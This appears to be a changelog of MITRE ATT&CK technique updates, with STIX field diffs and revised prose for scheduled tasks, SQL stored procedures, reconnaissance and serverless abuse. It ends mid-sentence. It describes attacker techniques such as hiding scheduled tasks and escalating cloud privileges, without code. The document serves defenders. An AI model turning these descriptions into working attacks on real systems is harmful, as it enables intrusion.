x_mitre_contributors[0]Goldstein MenachemMenachem Goldstein
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'Chexmarx-seo', 'description': 'Yehuda Gelb. (2023, November 30). The GitHub Black Market: Gaming the Star Ranking Game. Retrieved June 18, 2024.', 'url': 'https://zero.checkmarx.com/the-github-black-market-gaming-the-star-ranking-game-fc42f5913fb7'}
external_references{'source_name': 'Checkmarx-oss-seo', 'description': 'Yehuda Gelb. (2024, April 10). New Technique to Trick Developers Detected in an Open Source Supply Chain Attack. Retrieved June 18, 2024.', 'url': 'https://checkmarx.com/blog/new-technique-to-trick-developers-detected-in-an-open-source-supply-chain-attack/'}

[T1505.001] Server Software Component: SQL Stored Procedures

Current version: 1.1

Version changed from: 1.0 → 1.1

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_permissions_required['Administrator', 'SYSTEM', 'root']
values_changed
STIX FieldOld valueNew Value
modified2020-03-25 23:30:20.638000+00:002024-10-15 16:05:24.007000+00:00
external_references[1]['description']Sutherland, S. (2016, March 7). Maintaining Persistence via SQL Server – Part 1: Startup Stored Procedures. Retrieved July 8, 2019.Sutherland, S. (2016, March 7). Maintaining Persistence via SQL Server – Part 1: Startup Stored Procedures. Retrieved September 12, 2024.
external_references[1]['url']https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/https://www.netspi.com/blog/technical-blog/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/
external_references[5]['description']Sutherland, S. (2017, July 13). Attacking SQL Server CLR Assemblies. Retrieved July 8, 2019.Sutherland, S. (2017, July 13). Attacking SQL Server CLR Assemblies. Retrieved September 12, 2024.
external_references[5]['url']https://blog.netspi.com/attacking-sql-server-clr-assemblies/https://www.netspi.com/blog/technical-blog/adversary-simulation/attacking-sql-server-clr-assemblies/
x_mitre_version1.01.1

[T1595.001] Active Scanning: Scanning IP Blocks

Current version: 1.1

Version changed from: 1.0 → 1.1

New Detections:

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_contributors['Diego Sappa, Securonix']
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2021-04-15 03:19:38.469000+00:002024-10-15 13:46:55.039000+00:00
x_mitre_version1.01.1
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_data_sourcesNetwork Traffic: Network Traffic Content

[T1053.005] Scheduled Task/Job: Scheduled Task

Current version: 1.6

Version changed from: 1.5 → 1.6

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may abuse the Windows Task Scheduler to perform t1Adversaries may abuse the Windows Task Scheduler to perform 
>task scheduling for initial or recurring execution of malici>task scheduling for initial or recurring execution of malici
>ous code. There are multiple ways to access the Task Schedul>ous code. There are multiple ways to access the Task Schedul
>er in Windows. The [schtasks](https://attack.mitre.org/softw>er in Windows. The [schtasks](https://attack.mitre.org/softw
>are/S0111) utility can be run directly on the command line, >are/S0111) utility can be run directly on the command line, 
>or the Task Scheduler can be opened through the GUI within t>or the Task Scheduler can be opened through the GUI within t
>he Administrator Tools section of the Control Panel. In some>he Administrator Tools section of the Control Panel.(Citatio
> cases, adversaries have used a .NET wrapper for the Windows>n: Stack Overflow) In some cases, adversaries have used a .N
> Task Scheduler, and alternatively, adversaries have used th>ET wrapper for the Windows Task Scheduler, and alternatively
>e Windows netapi32 library to create a scheduled task.  The >, adversaries have used the Windows netapi32 library and [Wi
>deprecated [at](https://attack.mitre.org/software/S0110) uti>ndows Management Instrumentation](https://attack.mitre.org/t
>lity could also be abused by adversaries (ex: [At](https://a>echniques/T1047) (WMI) to create a scheduled task. Adversari
>ttack.mitre.org/techniques/T1053/002)), though <code>at.exe<>es may also utilize the Powershell Cmdlet `Invoke-CimMethod`
>/code> can not access tasks created with <code>schtasks</cod>, which leverages WMI class `PS_ScheduledTask` to create a s
>e> or the Control Panel.  An adversary may use Windows Task >cheduled task via an XML path.(Citation: Red Canary - Atomic
>Scheduler to execute programs at system startup or on a sche> Red Team)  An adversary may use Windows Task Scheduler to e
>duled basis for persistence. The Windows Task Scheduler can >xecute programs at system startup or on a scheduled basis fo
>also be abused to conduct remote Execution as part of Latera>r persistence. The Windows Task Scheduler can also be abused
>l Movement and/or to run a process under the context of a sp> to conduct remote Execution as part of Lateral Movement and
>ecified account (such as SYSTEM). Similar to [System Binary >/or to run a process under the context of a specified accoun
>Proxy Execution](https://attack.mitre.org/techniques/T1218),>t (such as SYSTEM). Similar to [System Binary Proxy Executio
> adversaries have also abused the Windows Task Scheduler to >n](https://attack.mitre.org/techniques/T1218), adversaries h
>potentially mask one-time execution under signed/trusted sys>ave also abused the Windows Task Scheduler to potentially ma
>tem processes.(Citation: ProofPoint Serpent)  Adversaries ma>sk one-time execution under signed/trusted system processes.
>y also create "hidden" scheduled tasks (i.e. [Hide Artifacts>(Citation: ProofPoint Serpent)  Adversaries may also create 
>](https://attack.mitre.org/techniques/T1564)) that may not b>"hidden" scheduled tasks (i.e. [Hide Artifacts](https://atta
>e visible to defender tools and manual queries used to enume>ck.mitre.org/techniques/T1564)) that may not be visible to d
>rate tasks. Specifically, an adversary may hide a task from >efender tools and manual queries used to enumerate tasks. Sp
>`schtasks /query` and the Task Scheduler by deleting the ass>ecifically, an adversary may hide a task from `schtasks /que
>ociated Security Descriptor (SD) registry value (where delet>ry` and the Task Scheduler by deleting the associated Securi
>ion of this value must be completed using SYSTEM permissions>ty Descriptor (SD) registry value (where deletion of this va
>).(Citation: SigmaHQ)(Citation: Tarrask scheduled task) Adve>lue must be completed using SYSTEM permissions).(Citation: S
>rsaries may also employ alternate methods to hide tasks, suc>igmaHQ)(Citation: Tarrask scheduled task) Adversaries may al
>h as altering the metadata (e.g., `Index` value) within asso>so employ alternate methods to hide tasks, such as altering 
>ciated registry keys.(Citation: Defending Against Scheduled >the metadata (e.g., `Index` value) within associated registr
>Task Attacks in Windows Environments) >y keys.(Citation: Defending Against Scheduled Task Attacks i
 >n Windows Environments) 
Details
values_changed
STIX FieldOld valueNew Value
modified2023-11-15 14:33:53.354000+00:002024-10-13 16:13:47.770000+00:00
descriptionAdversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The [schtasks](https://attack.mitre.org/software/S0111) utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task. + +The deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At](https://attack.mitre.org/techniques/T1053/002)), though at.exe can not access tasks created with schtasks or the Control Panel. + +An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent) + +Adversaries may also create "hidden" scheduled tasks (i.e. [Hide Artifacts](https://attack.mitre.org/techniques/T1564)) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions).(Citation: SigmaHQ)(Citation: Tarrask scheduled task) Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.(Citation: Defending Against Scheduled Task Attacks in Windows Environments) Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The [schtasks](https://attack.mitre.org/software/S0111) utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel.(Citation: Stack Overflow) In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) (WMI) to create a scheduled task. Adversaries may also utilize the Powershell Cmdlet `Invoke-CimMethod`, which leverages WMI class `PS_ScheduledTask` to create a scheduled task via an XML path.(Citation: Red Canary - Atomic Red Team) + +An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent) + +Adversaries may also create "hidden" scheduled tasks (i.e. [Hide Artifacts](https://attack.mitre.org/techniques/T1564)) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions).(Citation: SigmaHQ)(Citation: Tarrask scheduled task) Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.(Citation: Defending Against Scheduled Task Attacks in Windows Environments)
external_references[3]['description']Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017.Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved September 12, 2024.
external_references[3]['url']https://twitter.com/leoloobeek/status/939248813465853953https://x.com/leoloobeek/status/939248813465853953
x_mitre_version1.51.6
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'Red Canary - Atomic Red Team', 'description': 'Red Canary - Atomic Red Team. (n.d.). T1053.005 - Scheduled Task/Job: Scheduled Task. Retrieved June 19, 2024.', 'url': 'https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1053.005/T1053.005.md'}
external_references{'source_name': 'Stack Overflow', 'description': 'Stack Overflow. (n.d.). How to find the location of the Scheduled Tasks folder. Retrieved June 19, 2024.', 'url': 'https://stackoverflow.com/questions/2913816/how-to-find-the-location-of-the-scheduled-tasks-folder'}

[T1597] Search Closed Sources

Current version: 1.1

Version changed from: 1.0 → 1.1

+ + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may search and gather information about victims t1Adversaries may search and gather information about victims 
>from closed sources that can be used during targeting. Infor>from closed (e.g., paid, private, or otherwise not freely av
>mation about victims may be available for purchase from repu>ailable) sources that can be used during targeting. Informat
>table private sources and databases, such as paid subscripti>ion about victims may be available for purchase from reputab
>ons to feeds of technical/threat intelligence data.(Citation>le private sources and databases, such as paid subscriptions
>: D3Secutrity CTI Feeds) Adversaries may also purchase infor> to feeds of technical/threat intelligence data. Adversaries
>mation from less-reputable sources such as dark web or cyber> may also purchase information from less-reputable sources s
>crime blackmarkets.(Citation: ZDNET Selling Data)  Adversari>uch as dark web or cybercrime blackmarkets.(Citation: ZDNET 
>es may search in different closed databases depending on wha>Selling Data)  Adversaries may search in different closed da
>t information they seek to gather. Information from these so>tabases depending on what information they seek to gather. I
>urces may reveal opportunities for other forms of reconnaiss>nformation from these sources may reveal opportunities for o
>ance (ex: [Phishing for Information](https://attack.mitre.or>ther forms of reconnaissance (ex: [Phishing for Information]
>g/techniques/T1598) or [Search Open Websites/Domains](https:>(https://attack.mitre.org/techniques/T1598) or [Search Open 
>//attack.mitre.org/techniques/T1593)), establishing operatio>Websites/Domains](https://attack.mitre.org/techniques/T1593)
>nal resources (ex: [Develop Capabilities](https://attack.mit>), establishing operational resources (ex: [Develop Capabili
>re.org/techniques/T1587) or [Obtain Capabilities](https://at>ties](https://attack.mitre.org/techniques/T1587) or [Obtain 
>tack.mitre.org/techniques/T1588)), and/or initial access (ex>Capabilities](https://attack.mitre.org/techniques/T1588)), a
>: [External Remote Services](https://attack.mitre.org/techni>nd/or initial access (ex: [External Remote Services](https:/
>ques/T1133) or [Valid Accounts](https://attack.mitre.org/tec>/attack.mitre.org/techniques/T1133) or [Valid Accounts](http
>hniques/T1078)).>s://attack.mitre.org/techniques/T1078)).
Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_contributors['Barbara Louis-Sidney (OWN-CERT)']
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2021-04-15 03:45:31.020000+00:002024-10-04 13:12:14.469000+00:00
descriptionAdversaries may search and gather information about victims from closed sources that can be used during targeting. Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data.(Citation: D3Secutrity CTI Feeds) Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.(Citation: ZDNET Selling Data) + +Adversaries may search in different closed databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).Adversaries may search and gather information about victims from closed (e.g., paid, private, or otherwise not freely available) sources that can be used during targeting. Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.(Citation: ZDNET Selling Data) + +Adversaries may search in different closed databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).
x_mitre_version1.01.1
iterable_item_removed
STIX FieldOld valueNew Value
external_references{'source_name': 'D3Secutrity CTI Feeds', 'description': 'Banerd, W. (2019, April 30). 10 of the Best Open Source Threat Intelligence Feeds. Retrieved October 20, 2020.', 'url': 'https://d3security.com/blog/10-of-the-best-open-source-threat-intelligence-feeds/'}

[T1594] Search Victim-Owned Websites

Current version: 1.1

Version changed from: 1.0 → 1.1

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may search websites owned by the victim for infot1Adversaries may search websites owned by the victim for info
>rmation that can be used during targeting. Victim-owned webs>rmation that can be used during targeting. Victim-owned webs
>ites may contain a variety of details, including names of de>ites may contain a variety of details, including names of de
>partments/divisions, physical locations, and data about key >partments/divisions, physical locations, and data about key 
>employees such as names, roles, and contact info (ex: [Email>employees such as names, roles, and contact info (ex: [Email
> Addresses](https://attack.mitre.org/techniques/T1589/002)).> Addresses](https://attack.mitre.org/techniques/T1589/002)).
> These sites may also have details highlighting business ope> These sites may also have details highlighting business ope
>rations and relationships.(Citation: Comparitech Leak)  Adve>rations and relationships.(Citation: Comparitech Leak)  Adve
>rsaries may search victim-owned websites to gather actionabl>rsaries may search victim-owned websites to gather actionabl
>e information. Information from these sources may reveal opp>e information. Information from these sources may reveal opp
>ortunities for other forms of reconnaissance (ex: [Phishing >ortunities for other forms of reconnaissance (ex: [Phishing 
>for Information](https://attack.mitre.org/techniques/T1598) >for Information](https://attack.mitre.org/techniques/T1598) 
>or [Search Open Technical Databases](https://attack.mitre.or>or [Search Open Technical Databases](https://attack.mitre.or
>g/techniques/T1596)), establishing operational resources (ex>g/techniques/T1596)), establishing operational resources (ex
>: [Establish Accounts](https://attack.mitre.org/techniques/T>: [Establish Accounts](https://attack.mitre.org/techniques/T
>1585) or [Compromise Accounts](https://attack.mitre.org/tech>1585) or [Compromise Accounts](https://attack.mitre.org/tech
>niques/T1586)), and/or initial access (ex: [Trusted Relation>niques/T1586)), and/or initial access (ex: [Trusted Relation
>ship](https://attack.mitre.org/techniques/T1199) or [Phishin>ship](https://attack.mitre.org/techniques/T1199) or [Phishin
>g](https://attack.mitre.org/techniques/T1566)).>g](https://attack.mitre.org/techniques/T1566)).  In addition
 > to manually browsing the website, adversaries may attempt t
 >o identify hidden directories or files that could contain ad
 >ditional sensitive information or vulnerable functionality. 
 >They may do this through automated activities such as [Wordl
 >ist Scanning](https://attack.mitre.org/techniques/T1595/003)
 >, as well as by leveraging files such as sitemap.xml and rob
 >ots.txt.(Citation: Perez Sitemap XML 2023)(Citation: Registe
 >r Robots TXT 2015) 
Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_contributors['James P Callahan, Professional Paranoid']
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2021-04-15 03:53:33.023000+00:002024-10-02 18:52:21.278000+00:00
descriptionAdversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: [Email Addresses](https://attack.mitre.org/techniques/T1589/002)). These sites may also have details highlighting business operations and relationships.(Citation: Comparitech Leak) + +Adversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199) or [Phishing](https://attack.mitre.org/techniques/T1566)).Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: [Email Addresses](https://attack.mitre.org/techniques/T1589/002)). These sites may also have details highlighting business operations and relationships.(Citation: Comparitech Leak) + +Adversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199) or [Phishing](https://attack.mitre.org/techniques/T1566)). + +In addition to manually browsing the website, adversaries may attempt to identify hidden directories or files that could contain additional sensitive information or vulnerable functionality. They may do this through automated activities such as [Wordlist Scanning](https://attack.mitre.org/techniques/T1595/003), as well as by leveraging files such as sitemap.xml and robots.txt.(Citation: Perez Sitemap XML 2023)(Citation: Register Robots TXT 2015)
x_mitre_version1.01.1
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'Perez Sitemap XML 2023', 'description': 'Adi Perez. (2023, February 22). How Attackers Can Misuse Sitemaps to Enumerate Users and Discover Sensitive Information. Retrieved July 18, 2024.', 'url': 'https://medium.com/@adimenia/how-attackers-can-misuse-sitemaps-to-enumerate-users-and-discover-sensitive-information-361a5065857a'}
external_references{'source_name': 'Register Robots TXT 2015', 'description': "Darren Pauli. (2015, May 19). Robots.txt tells hackers the places you don't want them to look. Retrieved July 18, 2024.", 'url': 'https://www.theregister.com/2015/05/19/robotstxt/'}

[T1583.007] Acquire Infrastructure: Serverless

Current version: 1.1

Version changed from: 1.0 → 1.1

+ + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may purchase and configure serverless cloud infrt1Adversaries may purchase and configure serverless cloud infr
>astructure, such as Cloudflare Workers or AWS Lambda functio>astructure, such as Cloudflare Workers, AWS Lambda functions
>ns, that can be used during targeting. By utilizing serverle>, or Google Apps Scripts, that can be used during targeting.
>ss infrastructure, adversaries can make it more difficult to> By utilizing serverless infrastructure, adversaries can mak
> attribute infrastructure used during operations back to the>e it more difficult to attribute infrastructure used during 
>m.  Once acquired, the serverless runtime environment can be>operations back to them.  Once acquired, the serverless runt
> leveraged to either respond directly to infected machines o>ime environment can be leveraged to either respond directly 
>r to [Proxy](https://attack.mitre.org/techniques/T1090) traf>to infected machines or to [Proxy](https://attack.mitre.org/
>fic to an adversary-owned command and control server.(Citati>techniques/T1090) traffic to an adversary-owned command and 
>on: BlackWater Malware Cloudflare Workers)(Citation: AWS Lam>control server.(Citation: BlackWater Malware Cloudflare Work
>bda Redirector) As traffic generated by these functions will>ers)(Citation: AWS Lambda Redirector)(Citation: GWS Apps Scr
> appear to come from subdomains of common cloud providers, i>ipt Abuse 2021) As traffic generated by these functions will
>t may be difficult to distinguish from ordinary traffic to t> appear to come from subdomains of common cloud providers, i
>hese providers.(Citation: Detecting Command & Control in the>t may be difficult to distinguish from ordinary traffic to t
> Cloud)(Citation: BlackWater Malware Cloudflare Workers)>hese providers - making it easier to [Hide Infrastructure](h
 >ttps://attack.mitre.org/techniques/T1665).(Citation: Detecti
 >ng Command & Control in the Cloud)(Citation: BlackWater Malw
 >are Cloudflare Workers)
Details
values_changed
STIX FieldOld valueNew Value
modified2022-10-20 21:20:22.578000+00:002024-07-01 20:24:16.562000+00:00
descriptionAdversaries may purchase and configure serverless cloud infrastructure, such as Cloudflare Workers or AWS Lambda functions, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them. + +Once acquired, the serverless runtime environment can be leveraged to either respond directly to infected machines or to [Proxy](https://attack.mitre.org/techniques/T1090) traffic to an adversary-owned command and control server.(Citation: BlackWater Malware Cloudflare Workers)(Citation: AWS Lambda Redirector) As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers.(Citation: Detecting Command & Control in the Cloud)(Citation: BlackWater Malware Cloudflare Workers)Adversaries may purchase and configure serverless cloud infrastructure, such as Cloudflare Workers, AWS Lambda functions, or Google Apps Scripts, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them. + +Once acquired, the serverless runtime environment can be leveraged to either respond directly to infected machines or to [Proxy](https://attack.mitre.org/techniques/T1090) traffic to an adversary-owned command and control server.(Citation: BlackWater Malware Cloudflare Workers)(Citation: AWS Lambda Redirector)(Citation: GWS Apps Script Abuse 2021) As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers - making it easier to [Hide Infrastructure](https://attack.mitre.org/techniques/T1665).(Citation: Detecting Command & Control in the Cloud)(Citation: BlackWater Malware Cloudflare Workers)
x_mitre_attack_spec_version2.1.03.2.0
x_mitre_version1.01.1
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'GWS Apps Script Abuse 2021', 'description': 'Sergiu Gatlan. (2021, February 18). Hackers abuse Google Apps Script to steal credit cards, bypass CSP. Retrieved July 1, 2024.', 'url': 'https://www.bleepingcomputer.com/news/security/hackers-abuse-google-apps-script-to-steal-credit-cards-bypass-csp/#google_vignette'}

[T1584.007] Compromise Infrastructure: Serverless

Current version: 1.1

Version changed from: 1.0 → 1.1

+ + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may compromise serverless cloud infrastructure, t1Adversaries may compromise serverless cloud infrastructure, 
>such as Cloudflare Workers or AWS Lambda functions, that can>such as Cloudflare Workers, AWS Lambda functions, or Google 
> be used during targeting. By utilizing serverless infrastru>Apps Scripts, that can be used during targeting. By utilizin
>cture, adversaries can make it more difficult to attribute i>g serverless infrastructure, adversaries can make it more di
>nfrastructure used during operations back to them.   Once co>fficult to attribute infrastructure used during operations b
>mpromised, the serverless runtime environment can be leverag>ack to them.   Once compromised, the serverless runtime envi
>ed to either respond directly to infected machines or to [Pr>ronment can be leveraged to either respond directly to infec
>oxy](https://attack.mitre.org/techniques/T1090) traffic to a>ted machines or to [Proxy](https://attack.mitre.org/techniqu
>n adversary-owned command and control server.(Citation: Blac>es/T1090) traffic to an adversary-owned command and control 
>kWater Malware Cloudflare Workers)(Citation: AWS Lambda Redi>server.(Citation: BlackWater Malware Cloudflare Workers)(Cit
>rector) As traffic generated by these functions will appear >ation: AWS Lambda Redirector)(Citation: GWS Apps Script Abus
>to come from subdomains of common cloud providers, it may be>e 2021) As traffic generated by these functions will appear 
> difficult to distinguish from ordinary traffic to these pro>to come from subdomains of common cloud providers, it may be
>viders.(Citation: Detecting Command & Control in the Cloud)(> difficult to distinguish from ordinary traffic to these pro
>Citation: BlackWater Malware Cloudflare Workers)>viders - making it easier to [Hide Infrastructure](https://a
 >ttack.mitre.org/techniques/T1665).(Citation: Detecting Comma
 >nd & Control in the Cloud)(Citation: BlackWater Malware Clou
 >dflare Workers)
Details
values_changed
STIX FieldOld valueNew Value
modified2022-10-20 21:19:57.555000+00:002024-10-03 14:18:34.045000+00:00
descriptionAdversaries may compromise serverless cloud infrastructure, such as Cloudflare Workers or AWS Lambda functions, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them. + +Once compromised, the serverless runtime environment can be leveraged to either respond directly to infected machines or to [Proxy](https://attack.mitre.org/techniques/T1090) traffic to an adversary-owned command and control server.(Citation: BlackWater Malware Cloudflare Workers)(Citation: AWS Lambda Redirector) As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers.(Citation: Detecting Command & Control in the Cloud)(Citation: BlackWater Malware Cloudflare Workers)Adversaries may compromise serverless cloud infrastructure, such as Cloudflare Workers, AWS Lambda functions, or Google Apps Scripts, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them. + +Once compromised, the serverless runtime environment can be leveraged to either respond directly to infected machines or to [Proxy](https://attack.mitre.org/techniques/T1090) traffic to an adversary-owned command and control server.(Citation: BlackWater Malware Cloudflare Workers)(Citation: AWS Lambda Redirector)(Citation: GWS Apps Script Abuse 2021) As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers - making it easier to [Hide Infrastructure](https://attack.mitre.org/techniques/T1665).(Citation: Detecting Command & Control in the Cloud)(Citation: BlackWater Malware Cloudflare Workers)
x_mitre_attack_spec_version2.1.03.2.0
x_mitre_version1.01.1
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'GWS Apps Script Abuse 2021', 'description': 'Sergiu Gatlan. (2021, February 18). Hackers abuse Google Apps Script to steal credit cards, bypass CSP. Retrieved July 1, 2024.', 'url': 'https://www.bleepingcomputer.com/news/security/hackers-abuse-google-apps-script-to-steal-credit-cards-bypass-csp/#google_vignette'}

[T1648] Serverless Execution

Current version: 1.1

Version changed from: 1.0 → 1.1

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may abuse serverless computing, integration, andt1Adversaries may abuse serverless computing, integration, and
> automation services to execute arbitrary code in cloud envi> automation services to execute arbitrary code in cloud envi
>ronments. Many cloud providers offer a variety of serverless>ronments. Many cloud providers offer a variety of serverless
> resources, including compute engines, application integrati> resources, including compute engines, application integrati
>on services, and web servers.   Adversaries may abuse these >on services, and web servers.   Adversaries may abuse these 
>resources in various ways as a means of executing arbitrary >resources in various ways as a means of executing arbitrary 
>commands. For example, adversaries may use serverless functi>commands. For example, adversaries may use serverless functi
>ons to execute malicious code, such as crypto-mining malware>ons to execute malicious code, such as crypto-mining malware
> (i.e. [Resource Hijacking](https://attack.mitre.org/techniq> (i.e. [Resource Hijacking](https://attack.mitre.org/techniq
>ues/T1496)).(Citation: Cado Security Denonia) Adversaries ma>ues/T1496)).(Citation: Cado Security Denonia) Adversaries ma
>y also create functions that enable further compromise of th>y also create functions that enable further compromise of th
>e cloud environment. For example, an adversary may use the `>e cloud environment. For example, an adversary may use the `
>IAM:PassRole` permission in AWS or the `iam.serviceAccounts.>IAM:PassRole` permission in AWS or the `iam.serviceAccounts.
>actAs` permission in Google Cloud to add [Additional Cloud R>actAs` permission in Google Cloud to add [Additional Cloud R
>oles](https://attack.mitre.org/techniques/T1098/003) to a se>oles](https://attack.mitre.org/techniques/T1098/003) to a se
>rverless cloud function, which may then be able to perform a>rverless cloud function, which may then be able to perform a
>ctions the original user cannot.(Citation: Rhino Security La>ctions the original user cannot.(Citation: Rhino Security La
>bs AWS Privilege Escalation)(Citation: Rhingo Security Labs >bs AWS Privilege Escalation)(Citation: Rhingo Security Labs 
>GCP Privilege Escalation)  Serverless functions can also be >GCP Privilege Escalation)  Serverless functions can also be 
>invoked in response to cloud events (i.e. [Event Triggered E>invoked in response to cloud events (i.e. [Event Triggered E
>xecution](https://attack.mitre.org/techniques/T1546)), poten>xecution](https://attack.mitre.org/techniques/T1546)), poten
>tially enabling persistent execution over time. For example,>tially enabling persistent execution over time. For example,
> in AWS environments, an adversary may create a Lambda funct> in AWS environments, an adversary may create a Lambda funct
>ion that automatically adds [Additional Cloud Credentials](h>ion that automatically adds [Additional Cloud Credentials](h
>ttps://attack.mitre.org/techniques/T1098/001) to a user and >ttps://attack.mitre.org/techniques/T1098/001) to a user and 
>a corresponding CloudWatch events rule that invokes that fun>a corresponding CloudWatch events rule that invokes that fun
>ction whenever a new user is created.(Citation: Backdooring >ction whenever a new user is created.(Citation: Backdooring 
>an AWS account) Similarly, an adversary may create a Power A>an AWS account) This is also possible in many cloud-based of
>utomate workflow in Office 365 environments that forwards al>fice application suites. For example, in Microsoft 365 envir
